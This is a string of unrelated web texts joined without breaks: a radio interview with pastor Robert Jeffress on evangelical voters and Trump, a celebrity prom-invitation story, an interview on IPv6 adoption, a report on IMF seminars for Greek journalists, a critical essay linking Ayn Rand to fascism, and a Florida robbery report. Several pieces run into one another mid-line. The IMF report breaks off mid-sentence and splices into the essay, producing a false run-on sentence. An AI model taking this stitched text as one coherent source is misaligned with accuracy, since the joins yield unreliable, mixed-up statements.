JEFFRESS: And let me be clear, Ted Cruz has spoken in my church before, and there's a lot of interest in Ted Cruz. But evangelicals are divided between what I call the idealist and the pragmatist. The idealist are the ones who are supporting Ted Cruz and would say if we could just get a strong Christian in the White House, perhaps we could return our nation to its Judeo-Christian foundation. But then there are the pragmatists who say as much as we would like to have a faith-centered candidate, perhaps our country has moved too far to the left for that to happen, and so let's get the most conservative candidate who is electable. And many of those are going for a Donald Trump.
CORNISH: So faith is no longer the absolute litmus test in terms of casting that ballot.
JEFFRESS: It wasn't in 1980, and Americans at that time had a choice between two candidates. One was a sincerely born-again Christian who taught Sunday school in his Baptist Church and was married faithfully to one woman. His name was Jimmy Carter. The other choice was a twice-married Hollywood actor who as governor of California had signed the most liberal abortion bill in California history and whose wife practiced astrology. His name was Ronald Reagan. Christians overwhelmingly chose Ronald Reagan not because he was the most religious candidate but because he had the quality people thought was most necessary at the time, and that is leadership.
CORNISH: When you look at the last few years, what issues have values voters really felt strongly about that the Republican establishment has kind of fallen down on?
JEFFRESS: I think the same-sex marriage ruling by the Supreme Court last June was a watershed moment for evangelical Christians. I think in a strange way, that same-sex marriage ruling actually made evangelicals more open to a secular candidate like Donald Trump and here's why. I think many evangelicals have come to the conclusion we can no longer depend upon government to uphold traditional biblical values. Let's just let government solve practical problems like immigration, the economy and national security. And if that's all we're looking for government to do, then we don't need a spiritual giant in the White House. We need a strong leader and a problem solver, hence many Christians are open to a secular candidate like Donald Trump.
CORNISH: That's pastor Robert Jeffress of the First Baptist Church of Dallas. Thank you so much for speaking with us.
JEFFRESS: Thanks for having me.
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Davidson College student Kevin Carlock shared a lengthy rap video last month, inviting Daisy Ridley of Star Wars: The Force Awakens fame to his spring formal. Sample lyrics include: “So long story short, I think you’d love it here. Kylo Ren’s not invited, you’ve got nothing to fear. Daisy, you’re cooler than Leia and Padme before her. I’d give you more than quarter portions for your parts from star destroyers.”
Ridley caught wind of the video, and she shared a note on Instagram thanking Carlock for the invitation but regretfully turning him down: She’s busy filming Star Wars: Episode VIII, out Dec. 15, 2017.
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“Thank you so much for that brilliant invite to your formal,” Ridley wrote. “Unfortunately I’m locked in an intense staring competition with Luke Skywalker, somewhere in the middle of the galaxy, so won’t be able to make it! Let me know how it goes!”
Carlock took Ridley’s rejection in stride, responding with a note of his own and offering his own thoughts on Rey’s still-undisclosed parentage.
“Thanks so much for your response!” Carlock wrote. “Father-daughter staring contests are epic, so I understand why you can’t make it. Good luck with Episode VIII, and may the formal be with you!”
Watch Carlock’s original invitation video below.Owen DeLong is a Senior Manager of Network Architecture at Akamai Technologies, a leader in content delivery network (CDN) services that help to make the Internet "fast, reliable, and secure." He will be speaking at SCaLE 14x about IPv6 adoption (because we're out of IPv4!). Owen is also a member of the ARIN Advisory Council—an advisory group to the Board of Trustees on Internet number resource policy and related matters—and is an active member of the systems administration, operations, and Internet Protocol policy communities.
Learn more about him and his work in this interview.
Can you tell a bit about your role and responsibilities?
Basically, I work with our network partners and our internal organizations to ensure that we are designing and deploying a network capable of delivering what our customers need and want with the highest performance at the lowest cost possible.
Are we really out of IPv4 addresses? When should we start migrating to IPv6?
Yes and no. I’ll come back to that, but for most practical purposes, yes.
To the second question, you should have started about 20 years ago, but if you haven't started, then today is definitely not too soon and tomorrow is probably too late.
We are, in four out of five Regional Internet Registry (RIR) regions out of IPv4 addresses to issue according to traditional needs assessment. Each of those four RIRs have some reserve for things like critical infrastructure (Internet exchange points, critical name servers, etc.) and in some cases minimal allocations to new entrants who have not received previous allocations or organizations needing IPv4 space to facilitate IPv6 transition.
In the fifth region (AfriNIC), there is still some IPv4 space available for issuance under normal policies, but I do not think this will last as long as some predictions have said it will. I believe that consumption in Africa is already accelerating rapidly.
What about co-existence? Will IPv4 continue to co-exist with IPv6? Or future deployments will be IPv6 only?
I know you phrased the question as if those are mutually exclusive, but the correct answer is yes to both.
Here’s the thing… Existing deployments with IPv4 will continue to function with IPv4 for some time. They can (and should) add IPv6 along side their IPv4 addressing and support both protocols.
For as long as possible new deployments will likely have some ability to connect to IPv4 deployments as well, but depending on this is not a good plan. Any mechanism for doing so depends on a continuing supply of IPv4 addresses for those new deployments to use at least for translation purposes. We are doing higher and higher density address sharing in IPv4 in order to facilitate this. You’ll hear all kinds of nice euphemisms for these technologies such as "carrier-grade NAT" (network address translation). The problem is that there’s absolutely nothing "carrier-grade" about any form of NAT. When you look at it from a pure networking perspective, NAT is pretty awful. It’s kind of like DDT… Sure, it kills the bugs, but it has some pretty nasty side effects.
In this case, sure, NAT allows multiple people to use the same IPv4 address, but here's what's bad about it:
1. It turns everyone behind the NAT into a second-class consume-only network citizen.
2. It causes all kinds of collateral damage when one user in the group of users behind a given address starts doing bad things.
3. It's expensive to maintain.
4. It makes identifying abusers much harder.
5. It’s almost impossible to stop an abuser you can't identify.
6. It takes vast amounts of resources to maintain.
7. It does not scale well.
8. It is fragile and breaks applications.
If someone wants to learn about IPv6 what is the best place to start?
One of the best places to go is the free online tutorial at Hurricane Electric’s IPv6 Tunnel Broker.
You have worked at Sun, Netcom, Exodus, Tellme, Hurricane and you are now at Akamai. Which has been your most satisfying work till now? What was your contribution?
I’ve had some really wonderful experiences at each and every one of those organizations. I think my most satisfying work to date, and work that I am still pursuing, has been my work on the ARIN Advisory Council. It's an elected volunteer position where I work with 14 other people to manage the number resource policy process within the ARIN region. It has allowed me to meet some amazing people in the ARIN community and in other RIR communities as well. It’s given me an amazing view of just how powerful the Internet is when it comes to reshaping the everyday lives of the people we share this little blue ball with.
You have diverse interests like scuba diving, aviation, the ham radio, rocketry, and bridge. How do you balance your work with your personal interests? How do you maintain work-life balance?
I don’t. I’m always wishing I had more time for my hobbies except when I’m unemployed and wishing I had more money for my hobbies. Really, what I need is for someone to toss $15 million in my lap so I can go do the things I want to do and try to make the world better in the process. Until then (yeah, I'm what you call a pessimistic optimist), I try to find work that allows me to contribute to my greater goals as part of that work, and I engage in my hobbies as time permits around that. So far, I've been really fortunate in this regard, especially in my time at Hurricane and now at Akamai.The Greek authorities want to investigate alleged misconduct by a number of journalists who attended seminars organized by the IMF and were allegedly instructed to promote the organization's advice to Greece.
The accusations were voiced by Greece’s former representative to the International Monetary Fund Panagiotis Roumeliotis, who testified Tuesday in front of a special parliamentary committee on the country’s debt. Newspaper Proto Thema published excerpts from the testimony on its website.
Roumeliotis was cited as saying that he accidentally bumped into Greek journalists during a visit to Washington DC, who told him that they were attending a seminar organized by the IMF. The fund held a number of similar events in the US and in Greece with the goal of explaining its operations and apparently was spinning |
was published, it sat on the New York Times bestseller list for twenty-one weeks.
Rand may have been uneasy about the challenge her popularity posed to her worldview, for she spent much of her later life spinning tales about the chilly response she and her work had received. She falsely claimed that twelve publishers rejected The Fountainhead before it found a home. She styled herself the victim of a terrible but necessary isolation, claiming that “all achievement and progress has been accomplished, not just by men of ability and certainly not by groups of men, but by a struggle between man and mob.” But how many lonely writers emerge from their study, having just written “The End” on the last page of their novel, to be greeted by a chorus of congratulations from a waiting circle of fans?
Had she been a more careful reader of her work, Rand might have seen this irony coming. However much she liked to pit the genius against the mass, her fiction always betrayed a secret communion between the two. Each of her two most famous novels gives its estranged hero an opportunity to defend himself in a lengthy speech before the untutored and the unlettered. Roark declaims before a jury of “the hardest faces” that includes “a truck driver, a bricklayer, an electrician, a gardener and three factory workers.” John Galt takes to the airwaves in Atlas Shrugged, addressing millions of listeners for hours on end. In each instance, the hero is understood, his genius acclaimed, his alienation resolved. And that’s because, as Galt explains, there are “no conflicts of interest among rational men”—which is just a Randian way of saying that every story has a happy ending.
The chief conflict in Rand’s novels, then, is not between the individual and the masses. It is between the demigod-creator and all those unproductive elements of society—the intellectuals, bureaucrats and middlemen—that stand between him and the masses. Aesthetically, this makes for kitsch; politically, it bends toward fascism. Admittedly, the argument that there is a connection between fascism and kitsch has taken a beating over the years. Yet surely the example of Rand—and the publication of two new Rand biographies, Anne Heller’s Ayn Rand and the World She Made and Jennifer Burns’s Goddess of the Market—is suggestive enough to put the question of that connection back on the table.
She was born on February 2, three weeks after the failed revolution of 1905. Her parents were Jewish. They lived in St. Petersburg, a city long governed by hatred of the Jews. By 1914 its register of anti-Semitic restrictions ran to nearly 1,000 pages, including one statute limiting Jews to no more than 2 percent of the population. They named her Alissa Zinovievna Rosenbaum.
When she was 4 or 5 she asked her mother if she could have a blouse like the one her cousins wore. Her mother said no. She asked for a cup of tea like the one being served to the grown-ups. Again her mother said no. She wondered why she couldn’t have what she wanted. Someday, she vowed, she would. In later life, Rand would make much of this experience. Heller does too: “The elaborate and controversial philosophical system she went on to create in her forties and fifties was, at its heart, an answer to this question and a memorialization of this project.”
The story, as told, is pure Rand. There’s the focus on a single incident as portent or precipitant of dramatic fate. There’s the elevation of childhood commonplace to grand philosophy. What child, after all, hasn’t bridled at being denied what she wants? Though Rand seems to have taken youthful selfishness to its outermost limits—as a child she disliked Robin Hood; as a teenager she watched her family nearly starve while she treated herself to the theater—her solipsism was neither so rare nor so precious as to warrant more than the usual amount of adolescent self-absorption. There is, finally, the inadvertent revelation that one’s worldview constitutes little more than a case of arrested development. “It is not that chewing gum undermines metaphysics,” Max Horkheimer once wrote about mass culture, “but that it is metaphysics—this is what must be made clear.” Rand made it very, very clear.
But the anecdote suggests something additionally distinctive about Rand. Not her opinions or tastes, which were middlebrow and conventional. Rand claimed Victor Hugo as her primary inspiration in matters of fiction; Edmond Rostand’s Cyrano de Bergerac was another touchstone. She deemed Rachmaninoff superior to Bach, Mozart and Beethoven. She was offended by a reviewer’s admittedly foolish comparison of The Fountainhead to The Magic Mountain. Mann, Rand thought, was the inferior author, as was Solzhenitsyn.
Nor was it her sense of self that set Rand apart from others. True, she tended toward the cartoonish and the grandiose. She told Nathaniel Branden, her much younger lover and disciple of many years, that he should desire her even if she were 80 and in a wheelchair. Her essays often quote Galt’s speeches as if the character were a real person, a philosopher on the order of Plato or Kant. She claimed to have created herself with the help of no one, even though she was the lifelong beneficiary of social democratic largesse. She got a college education thanks to the Russian Revolution, which opened universities to women and Jews and, once the Bolsheviks had seized power, made tuition free. Subsidizing theater for the masses, the Bolsheviks also made it possible for Rand to see cheesy operettas on a weekly basis. After Rand’s first play closed in New York City in April 1936, the Works Progress Administration took it on the road to theaters across the country, giving Rand a handsome income of $10 a performance throughout the late 1930s. Librarians at the New York Public Library assisted her with the research for The Fountainhead. Still, her narcissism was probably no greater—and certainly no less sustaining—than that of your run-of-the-mill struggling author.
No, what truly distinguished Rand was her ability to translate her sense of self into reality, to will her imagined identity into material fact. Not by being great but by persuading others, even shrewd biographers, that she was great. Heller, for example, repeatedly praises Rand’s “original, razor sharp mind” and “lightning-quick logic,” making one wonder if she’s read any of Rand’s work. She claims that Rand was able “to write more persuasively from a male point of view than any female writer since George Eliot.” Does Heller really believe that Roark or Galt is more credible or persuasive than Lawrence Selden or Newland Archer? Or little James Ramsay, who seems to have acquired more psychic depth in his six years than any of Rand’s protagonists, male or female, demonstrate throughout their entire lives?
Burns, an intellectual historian of the American right, is better informed and more judicious than Heller, a journalist who sometimes sounds like a foreign correspondent in need of a good interpreter (she identifies Trotsky as Lenin’s “former sidekick” and says that Rand’s characters are two-dimensional because they are meant to embody political ideas rather than emotional complexity, as if Dostoyevsky, Stendhal and a host of other writers, including the inferior Mann, hadn’t managed to do both). But even Burns is occasionally seduced by Rand. She writes that Rand was “among the first to identify the modern state’s often terrifying power and to make it an issue of popular concern,” which is true only if one sets aside Montesquieu, Godwin, Constant, Tocqueville, Proudhon, Bakunin, Spencer, Kropotkin, Malatesta and Emma Goldman. She claims that Rand disliked the “messiness of the bohemian student protestors” of the ’60s because she was “raised in the high European tradition.” And what tradition is that? Operettas and Rachmaninoff? Melodrama and movies? She concludes that “what remains” of enduring value in Rand is her injunction to “be true to yourself,” which is a notion I seem to recall figuring in a play about a Danish prince written several centuries before Rand’s birth.
To understand how Alissa Rosenbaum created Ayn Rand, we need to trace her itinerary not to pre-revolutionary Russia, which is the mistaken conceit of these biographies, but to her destination upon leaving Soviet Russia in 1926: Hollywood. For where else but in the dream factory could Rand have learned how to make dreams—about America, about capitalism and about herself?
Even before she was in Hollywood, Rand was of Hollywood. In 1925 alone, she saw 117 movies. It was in movies, Burns says, that Rand “glimpsed America”—and, we might add, developed her enduring sense of narrative form. Once there, she became the subject of her very own Hollywood story. She was discovered by Cecil B. DeMille, who saw her mooning about his studio looking for work. Intrigued by her intense gaze, he gave her a ride in his car and a job as an extra, which she quickly turned into a screenwriting gig. Within a few years her scripts were attracting attention from major players, prompting one newspaper to run a story with the headline Russian Girl Finds End of Rainbow in Hollywood.
Rand, of course, was not the only European who came to Hollywood during the interwar years. But unlike Fritz Lang, Hanns Eisler and other exiles among the palm trees and klieg lights, Rand did not escape to Hollywood; she went there willingly, eagerly. Billy Wilder arrived and shrugged his shoulders; Rand came on bended knee. Her mission was to learn, not refine or improve, the art of the dream factory: how to turn a good yarn into a suspenseful plot, an ordinary person into an outsize hero (or villain)—all the tricks of melodramatic narrative designed to persuade millions of viewers that life is really lived at a fever pitch. Most important, she learned how to perform that alchemy upon herself. Ayn Rand was Norma Desmond in reverse: she was small; the pictures got big.
When playing the part of the Philosopher, Rand liked to claim Aristotle as her tutor. “Never have so many”—uncharacteristically, she included herself here—”owed so much to one man.” It’s not clear how much of Aristotle’s work Rand actually read: when she wasn’t quoting Galt, she had a habit of attributing to the Greek philosopher statements and ideas that don’t appear in any of his writings. One alleged Aristotelianism Rand was fond of citing did appear, complete with false attribution, in the autobiography of Albert Jay Nock, an influential libertarian from the New Deal era. In Rand’s copy of Nock’s memoir, Burns observes in an endnote, the passage is marked “with six vertical lines.”
Rand also liked to cite Aristotle’s law of identity or noncontradiction—the notion that everything is identical to itself, captured by the shorthand “A is A”—as the basis of her defense of selfishness, the free market and the limited state. That particular transport sent Rand’s admirers into rapture and drove her critics, even the friendliest, to distraction. Several months before his death in 2002, Harvard philosopher Robert Nozick, the most analytically sophisticated of twentieth-century libertarians, said that “the use that’s made by people in the Randian tradition of this principle of logic…is completely unjustified so far as I can see; it’s illegitimate.” In 1961 Sidney Hook wrote in the New York Times,
Since his baptism in medieval times, Aristotle has served many strange purposes. None have been odder than this sacramental alliance, so to speak, of Aristotle with Adam Smith. The extraordinary virtues Miss Rand finds in the law that A is A suggests that she is unaware that logical principles by themselves can test only consistency. They cannot establish truth…. Swearing fidelity to Aristotle, Miss Rand claims to deduce not only matters of fact from logic but, with as little warrant, ethical rules and economic truths as well. As she understands them, the laws of logic license her in proclaiming that “existence exists,” which is very much like saying that the law of gravitation is heavy and the formula of sugar sweet.
Whether or not Rand read Aristotle, it’s clear that he made little impression upon her, particularly when it came to ethics. Aristotle had a distinctive approach to morality, quite out of keeping with modern sensibilities; and while Rand had some awareness of its distinctiveness, its substance seems to have been lost on her. Like a set of faux-leather classics on the living room shelf, Aristotle was there to impress the company—and, in Rand’s case, distract from the real business at hand.
Unlike Kant, the emblematic modern who claimed that the rightness of our deeds is determined solely by reason, unsullied by need, desire or interest, Aristotle rooted his ethics in human nature, in the habits and practices, the dispositions and tendencies, that make us happy and enable our flourishing. And where Kant believed that morality consists of austere rules, imposing unconditional duties upon us and requiring our most strenuous sacrifice, Aristotle located the ethical life in the virtues. These are qualities or states, somewhere between reason and emotion but combining elements of both, that carry and convey us, by the gentlest and subtlest of means, to the outer hills of good conduct. Once there, we are inspired and equipped to scale these lower heights, whence we move onto the higher reaches. A person who acts virtuously develops a nature that wants and is able to act virtuously and that finds happiness in virtue. That coincidence of thought and feeling, reason and desire, is achieved over a lifetime of virtuous deeds. Virtue, in other words, is less a codex of rules, which must be observed in the face of the self’s most violent opposition, than it is the food and fiber, the grease and gasoline, of a properly functioning soul.
If Kant is an athlete of the moral life, Aristotle is its virtuoso. Rand, by contrast, is a melodramatist of the moral life. Apprenticed in Hollywood rather than Athens, she has little patience for the quiet habituation in the virtues that Aristotelian ethics entails. She returns instead to her favored image of a heroic individual confronting a difficult path. Difficulty is never the result of confusion or ambiguity; Rand loathed “the cult of moral grayness,” insisting that morality is first and always “a code of black and white.” What makes the path treacherous—not for the hero, who seems to have been born fully outfitted for it, but for the rest of us—are the obstacles along the way. Doing the right thing brings hardship, penury and exile, while doing the wrong thing brings wealth, status and acclaim. Because he refuses to submit to architectural conventions, Roark winds up splitting rocks in a quarry. Peter Keating, Roark’s doppelgänger, betrays everyone, including himself, and is the toast of the town. Ultimately, of course, the distribution of rewards and punishments will reverse: Roark is happy, Keating miserable. But ultimately is always and inevitably a long ways off.
In her essays, Rand seeks to apply to this imagery a superficial Aristotelian gloss. She, too, roots her ethics in human nature and refuses to draw a distinction between self-interest and the good, between ethical conduct and desire or need. But Rand’s metric of good and evil, virtue and vice, is not happiness or flourishing. It is the stern and stark exigencies of life and death. As she writes in “The Objectivist Ethics”:
I quote from Galt’s speech: “There is only one fundamental alternative in the universe: existence or nonexistence—and it pertains to a single class of entities: to living organisms. The existence of inanimate matter is unconditional, the existence of life is not: it depends on a specific course of action. Matter is indestructible, it changes its forms, but it cannot cease to exist. It is only a living organism that faces a constant alternative: the issue of life or death. Life is a process of self-sustaining and self-generated action. If an organism fails in that action, it dies; its chemical elements remain, but its life goes out of existence. It is only the concept of ‘Life’ that makes the concept of ‘Value’ possible. It is only to a living entity that things can be good or evil.”
Rand’s defenders like to claim that what Rand has in mind by “life” is not simply biological preservation but the good life of Aristotle’s great-souled man, what Rand characterizes as “the survival of man qua man.” And it’s true that Rand isn’t much taken with mere life or life for life’s sake. That would be too pedestrian. But Rand’s naturalism is far removed from Aristotle’s. For him life is a given; for her it is a question, and that very question is what makes life, on its own, such an object and source of reflection.
What gives life value is the ever present possibility that it might (and one day will) end. Rand never speaks of life as a given or ground. It is a conditional, a choice we must make, not once but again and again. Death casts a pall, lending our days an urgency and weight they otherwise would lack. It demands wakefulness, an alertness to the fatefulness of each and every moment. “One must never act like a zombie,” Rand enjoins. Death, in short, makes life dramatic. It makes our choices—not just the big ones but the little ones we make every day, every second—matter. In the Randian universe, it’s high noon all the time. Far from being exhausting or enervating, such an existence, at least to Rand and her characters, is enlivening and exciting.
If this idea has any moral resonance, it will be heard not in the writings of Aristotle but in the drill march of fascism. The notion of life as a struggle against and unto death, of every moment laden with destruction, every choice pregnant with destiny, every action weighed upon by annihilation, its lethal pressure generating moral meaning—these are the watchwords of the European night. In his famous Berlin Sportpalast speech of February 1943, Goebbels declared, “Whatever serves it and its struggle for existence is good and must be sustained and nurtured. Whatever is injurious to it and its struggle for existence is evil and must be removed and eliminated.” The “it” in question is the German nation, not the Randian individual. But if we strip the pronoun of its antecedent—and listen for the background hum of triumph and will, being and nonbeing, preservation and elimination—the similarities between the moral syntax of Randianism and of fascism become clear. Goodness is measured by life, life is a struggle against death and only our daily vigilance ensures that one does not prevail over the other.
Rand, no doubt, would object to the comparison. There is, after all, a difference between the individual and the collective. Rand thought the former an existential fundament, the latter—whether it took the form of a class, race or nation—a moral monstrosity. And where Goebbels talked of violence and war, Rand spoke of commerce and trade, production and economy. But fascism is hardly hostile to the heroic individual. That individual, moreover, often finds his deepest calling in economic activity. Far from demonstrating a divergence from fascism, Rand’s economic writings register its impression indelibly.
Here is Hitler speaking to a group of industrialists in Düsseldorf in 1932:
You maintain, gentlemen, that the German economy must be constructed on the basis of private property. Now such a conception of private property can only be maintained in practice if it in some way appears to have a logical foundation. This conception must derive its ethical justification from the insight that this is what nature dictates.
Rand, too, believes that capitalism is vulnerable to attack because it lacks “a philosophical base.” If it is to survive, it must be rationally justified. We must “begin at the beginning,” with nature itself. “In order to sustain its life, every living species has to follow a certain course of action required by its nature.” Because reason is man’s “means of survival,” nature dictates that “men prosper or fail, survive or perish in proportion to the degree of their rationality.” (Notice the slippage between success and failure and life and death.) Capitalism is the one system that acknowledges and incorporates this dictate of nature. “It is the basic, metaphysical fact of man’s nature—the connection between his survival and his use of reason—that capitalism recognizes and protects.” Like Hitler, Rand finds in nature, in man’s struggle for survival, a “logical foundation” for capitalism.
Far from privileging the collective over the individual or subsuming the latter under the former, Hitler believed that it was the “strength and power of individual personality” that determined the economic (and cultural) fate of the race and nation. Here he is in 1933 addressing another group of industrialists:
Everything positive, good and valuable that has been achieved in the world in the field of economics or culture is solely attributable to the importance of personality…. All the worldly goods we possess we owe to the struggle of the select few.
And here is Rand in Capitalism: The Unknown Ideal (1967):
The exceptional men, the innovators, the intellectual giants….It is the members of this exceptional minority who lift the whole of a free society to the level of their own achievements, while rising further and ever further.
If the first half of Hitler’s economic views celebrates the romantic genius of the individual industrialist, the second spells out the inegalitarian implications of the first. Once we recognize “the outstanding achievements of individuals,” Hitler says in Düsseldorf, we must conclude that “people are not of equal value or of equal importance.” Private property “can be morally and ethically justified only if [we] admit that men’s achievements are different.” An understanding of nature fosters a respect for the heroic individual, which fosters an appreciation of inequality in its most vicious guise. “The creative and decomposing forces in a people always fight against one another.”
Rand’s appreciation of inequality is equally pungent. I quote from Galt’s speech:
The man at the top of the intellectual pyramid contributes the most to all those below him, but gets nothing except his material payment, receiving no intellectual bonus from others to add to the value of his time. The man at the bottom who, left to himself, would starve in his hopeless ineptitude, contributes nothing to those above him, but receives the bonus of all their brains. Such is the nature of the “competition” between the strong and the weak of the intellect. Such is the pattern of “exploitation” for which you have damned the strong.
Rand’s path from nature to individualism to inequality also ends in a world divided between “the creative and decomposing forces.” In every society, says Roark, there is a “creator” and a parasitic “second-hander,” each with its own nature and code. The first “allows man to survive.” The second is “incapable of survival.” One produces life, the other induces death. In Atlas Shrugged the battle is between the producer and the “looters” and “moochers.” It too must end in life or death.
It should come as no surprise to find Rand in such company, for she and the Nazis share a patrimony in the vulgar Nietzscheanism that has stalked the radical right, whether in its libertarian or fascist variants, since the early part of the twentieth century. As Heller and especially Burns show, Nietzsche exerted an early grip on Rand that never really loosened. Her cousin teased Rand that Nietzsche “beat you to all your ideas.” When Rand arrived in the United States, Thus Spake Zarathustra was the first book in English she bought. With Nietzsche on her mind, she was inspired to write in her journals that “the secret of life” is, “you must be nothing but will. Know what you want and do it. Know what you are doing and why you are doing it, every minute of the day. All will and all control. Send everything else to hell!” Her entries frequently include phrases like “Nietzsche and I think” and “as Nietzsche said.”
Rand was much taken with the idea of the violent criminal as moral hero, a Nietzschean transvaluator of all values; according to Burns, she “found criminality an irresistible metaphor for individualism.” A literary Leopold and Loeb, she plotted out a novella based on the actual case of a murderer who strangled a 12-year-old girl. The murderer, said Rand, “is born with a wonderful, free, light consciousness—resulting from the absolute lack of social instinct or herd feeling. He does not understand, because he has no organ for understanding, the necessity, meaning or importance of other people.” That is not a bad description of Nietzsche’s master class in The Genealogy of Morals.
Though Rand’s defenders claim she later abandoned her infatuation with Nietzsche, Burns does an excellent job of demonstrating its persistence. There’s the figure of Roark himself: “As she jotted down notes on Roark’s personality,” writes Burns, “she told herself, ‘See Nietzsche about laughter.’ The book’s famous first line indicates the centrality of this connection: ‘Howard Roark laughed.'” And then there’s Atlas Shrugged, which Ludwig von Mises, one of the presiding eminences of neoclassical economics, praised thus:
You have the courage to tell the masses what no politician told them: you are inferior and all the improvements in your conditions which you simply take for granted you owe to the effort of men who are better than you.
But Nietzsche’s influence saturated Rand’s writing in a deeper way, one emblematic of the overall trajectory of the conservative right since its birth in the crucible of the French Revolution. Rand was a lifelong atheist with a special animus for Christianity, which she called the “best kindergarten of communism possible.” Far from representing a heretical tendency within conservatism, Rand’s statement channels a tradition of right-wing suspicion about the insidious effects of religion, particularly Christianity, on the modern world. Where many conservatives since 1789 have rallied to Christianity and religion as an antidote to the democratic revolutions of the eighteenth and nineteenth centuries, the more farsighted among them have seen religion, or at least some aspect of it, as the adjutant of revolution.
Joseph de Maistre, the most visionary of France’s early counterrevolutionaries, was one of the first to speak of this. An arch-Catholic, he traced the French Revolution to the acrid solvents of the Reformation. With its celebration of “private interpretation” of the Scriptures, Protestantism paved the way for century upon century of regicide and revolt originating in the lower classes.
It is from the shadow of a cloister that there emerges one of mankind’s very greatest scourges. Luther appears; Calvin follows him. The Peasants’ Revolt; the Thirty Years’ War; the civil war in France…the murders of Henry II, Henry IV, Mary Stuart, and Charles I; and finally, in our day, from the same source, the French Revolution.
Nietzsche, the child of a Lutheran pastor, radicalized this argument, painting all of Christianity—indeed all of Western religion, going back to Judaism—as a slave morality, the psychic revolt of the lower orders against their betters. Before there was religion or even morality, there was the sense and sensibility of the master class. The master looked upon his body—its strength and beauty, its demonstrated excellence and reserves of power—and saw and said that it was good. As an afterthought he looked upon the slave, and saw and said that it was bad. The slave never looked upon himself: he was consumed by envy of and resentment toward his master. Too weak to act upon his rage and take revenge, he launched a quiet but lethal revolt of the mind. He called all the master’s attributes—power, indifference to suffering, thoughtless cruelty—evil. He spoke of his own attributes—meekness, humility, forbearance—as good. He devised a religion that made selfishness and self-concern a sin, and compassion and concern for others the path to salvation. He envisioned a universal brotherhood of believers, equal before God, and damned the master’s order of unevenly distributed excellence. The modern residue of that slave revolt, Nietzsche makes clear, is found not in Christianity, or even religion, but in the nineteenth-century movements for democracy and socialism:
Another Christian concept, no less crazy, has passed even more deeply into the tissue of modernity: the concept of the “equality of souls before God.” This concept furnishes the prototype of all theories of equal rights: mankind was first taught to stammer the proposition of equality in a religious context, and only later was it made into morality: no wonder that man ended by taking it seriously, taking it practically!—that is to say, politically, democratically, socialistically.
When Rand inveighs against Christianity as the forebear of socialism, when she rails against altruism and sacrifice as inversions of the true hierarchy of values, she is cultivating the strain within conservatism that sees religion as not a remedy to but a helpmate of the left. And when she looks, however ineptly, to Aristotle for an alternative morality, she is recapitulating Nietzsche’s journey back to antiquity, where he hoped to find a master-class morality untainted by the egalitarian values of the lower orders.
Though Rand’s antireligious defense of capitalism might seem out of place in today’s political firmament, we would do well to recall the recent revival of interest in her books. More than 800,000 copies of her novels were sold in 2008 alone; as Burns rightly notes, “Rand is a more active presence in American culture now than she was during her lifetime.” Indeed, Rand is regularly cited as a formative influence upon an entire new generation of Republican leaders; Burns calls her “the ultimate gateway drug to life on the right.” Whether or not she is invoked by name, Rand’s presence is palpable in the concern, heard increasingly on the right, that there is something sinister afoot in the institutions and teachings of Christianity.
I beg you, look for the words “social justice” or “economic justice” on your church website. If you find it, run as fast as you can. Social justice and economic justice, they are code words. Now, am I advising people to leave their church? Yes.
That was Glenn Beck on his March 2 radio show, taking a stand against, well, pretty much every church in the Christian faith: Catholic, Episcopalian, Methodist, Baptist—even his very own Church of Latter-day Saints.
On her own, Rand is of little significance. It is only her resonance in American culture—and the unsavory associations her resonance evokes—that makes her of any interest. She’s not unlike the “second-hander” described by Roark: “Their reality is not within them, but somewhere in that space which divides one human body from another. Not an entity, but a relation…. The second-hander acts, but the source of his actions is scattered in every other living person.” For once, it seems, he knew whence he spoke.
But after all the Nietzsche is said and Aristotle is done, we’re still left with a puzzle about Rand: how could such a mediocrity, not just a second-hander but a second-rater, exert such a continuing influence on the culture at large?
We possess an entire literature, from Melville to Mamet, devoted to the con man and the hustler, and it’s tempting to see Rand as one of the many fakes and frauds who periodically light up the American landscape. But that temptation should be resisted. Rand represents something different, more unsettling. The con man is a liar who can ascertain the truth of things, often better than the rest of us. He has to: if he is going to fleece his mark, he has to know who the mark is and who the mark would like to be. Working in that netherworld between fact and fantasy, the con man can gild the lily only if he sees the lily for what it is. But Rand had no desire to gild anything. The gilded lily was reality. What was there to add? She even sported a lapel pin to make the point: made of gold and fashioned in the shape of a dollar sign, it was bling of the most literal sort.
Since the nineteenth century, it has been the task of the left to hold up to liberal civilization a mirror of its highest values and to say, “You do not look like this.” You claim to believe in the rights of man, but it is only the rights of property you uphold. You claim to stand for freedom, but it is only the freedom of the strong to dominate the weak. If you wish to live up to your principles, you must give way to their demiurge. Allow the dispossessed to assume power, and the ideal will be made real, the metaphor will be made material.
Rand believed that this meeting of heaven and earth could be arranged by other means. Rather than remake the world in the image of paradise, she looked for paradise in an image of the world. Political transformation wasn’t necessary. Transubstantiation was enough. Say a few words, wave your hands and the ideal is real, the metaphor material. An idealist of the most primitive sort, Rand took a century of socialist dichotomies and flattened them. Small wonder so many have accused her of intolerance: when heaven and earth are pressed so closely together, where is there room for dissent?
Far from needing explanation, Rand’s success explains itself. Rand worked in that quintessential American proving ground—alongside the likes of Richard Nixon, Ronald Reagan and Glenn Beck—where garbage achieves gravitas and bullshit gets blessed. There she learned that dreams don’t come true. They are true. Turn your metaphysics into chewing gum, and your chewing gum is metaphysics. A is A.A 39-year-old West Palm Beach man showed up at a Boca Raton motel Sunday night hoping for a romantic encounter.
He instead found himself being robbed by three people — including his 23-year-old date — at gunpoint, police said.
See who’s been booked into the Palm Beach County Jail
Police took Amstrong Maddy, 27, of Delray Beach, Kasey Hadfield 24, of Pemberton, N.J. and Billianne Curti, 23, into custody early Monday on allegations they robbed a man at the Boca Inn, on North Federal Highway south of Northeast 20th Street. Each face charges of armed robbery and grand theft.
Jail records indicate that Maddy lives in Delray Beach and Hadfield resides in Pemberton, N.J., east of Philadelphia. A current address was not listed for Curti.
Have you seen them? Wanted fugitives in Palm Beach County
The alleged victim told investigators he met Curti on Sunday night at the B-Kwik food mart just north of the motel on North Federal. The man later went to a room at the motel, where he found Curti with Maddy and Hadfield, police said.
Maddy and Hadfield left the room, and Curti and the man reportedly began to engage in a sex act. Moments later, Maddy re-entered the room and pointed a gun at the man’s head and told him not to move. Hadfield pushed the man and Curti began removing money from his pockets, police said.
The suspects took about $800 and then fled in a vehicle, police said. Police later found Maddy walking on Federal Highway back to the hotel. His vehicle and Hadfield were in the parking lot of a nearby Chipotle restaurant. Curti was found in the office manger’s bedroom.
Curti initially admitted to inviting the man back to the motel and robbing him, but later changed her account, police said.Star Trek: Hidden Evil
